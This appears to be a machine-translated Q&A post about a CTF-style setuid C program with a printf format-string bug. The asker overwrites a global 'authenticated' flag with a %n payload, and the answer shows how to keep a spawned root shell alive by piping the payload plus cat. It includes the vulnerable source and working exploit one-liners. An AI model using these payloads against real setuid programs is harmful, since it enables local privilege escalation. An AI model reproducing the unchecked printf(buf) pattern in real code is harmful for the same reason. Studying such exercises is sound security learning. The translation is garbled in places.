Установить бинарный файл для порождения корневой оболочки путем переопределения%n, не работает с эксплойтом, но работает, когда эксплойт не нужен
У меня есть двоичный файл Setuid, который имеет уязвимость строки формата printf, которую предполагается использовать с "%n", чтобы перезаписать значение authenticated
глобальная переменная. Выполнение /bin/bash работает с правами root Setuid, когда authenticated = 1
, но не когда authenticated = 0
и подвиг используется.
Я пробовал с ls
и это работает, так что exec происходит. Я также пытался сделать authenticated = 1
в источнике, поэтому он автоматически запускает Bash без эксплойта. Это работает в порождении корневой оболочки. Когда эксплойт используется, программа вызывает функцию предоставленного доступа, как и ожидалось, но заканчивается в exec, и perror никогда не достигается. Родительский процесс, однако, умирает, а это означает, что exe bash должен был произойти Bash должен выполняться, но он аварийно завершает работу / завершается при запуске.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
int authenticated = 0;
void read_flag() {
if (!authenticated) {
printf("Sorry, you are not *authenticated*!\n");
}
else {
printf("Access Granted.\n");
int cpid = fork();
if(cpid == 0){
printf("child!\n");
execlp("/bin/bash", "bash", NULL);
perror("error");
}
else{
wait(NULL);
}
}
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
setreuid(geteuid(), getuid());
printf("Would you like a shell? (yes/no)\n");
fgets(buf, sizeof(buf), stdin);
if (strstr(buf, "no") != NULL) {
printf("Okay, Exiting...\n");
exit(1);
}
else if (strstr(buf, "yes") == NULL) {
puts("Received Unknown Input:\n");
printf(buf);
}
read_flag();
}
С authenticated = 0, я использую GDB, чтобы найти адрес authenticated
где-то как 0x0804a050. Я запускаю программу с AAAA %x %x %x... чтобы найти это buf
начинается с позиции 4 стека. Мой подвиг тогда: python -c "print('\x50\xa0\x04\x08%x%x%x%n')"
который успешно перезаписывает глобальную переменную как "Доступ разрешен!" печатается. Perror никогда не достигается, и Bash должен появиться, но родительский процесс умирает, поэтому процесс Bash, должно быть, тоже умер. Это не происходит, когда authenticated = 1
, В этом сценарии бинарный файл Setuid ведет себя как положено и открывает корневую оболочку.
Мой вопрос: почему Bash умирает при запуске, но только когда используется бинарный файл Detuid? Баш, должно быть, умирает, потому что ps -aux
не перечисляет новый процесс Bash, а работает exit
выходит из вызывающего экземпляра bash.
1 ответ
Когда вы запускаете одно из:
python -c "print('\x50\xa0\x04\x08%x%x%x%n')" | ./vuln
./vuln < myPayload
Единственный вход - ваш подвиг. Вы не вводите никаких команд, поэтому bash не имеет ничего общего и выходит. Это то же самое, что происходит, если вы запускаете true | bash
или же bash < /dev/null
,
Если вы хотите иметь возможность впоследствии вводить некоторые команды вручную, самый простой способ сделать это:
{ python -c "print('\x50\xa0\x04\x08%x%x%x%n')"; cat; } | ./vuln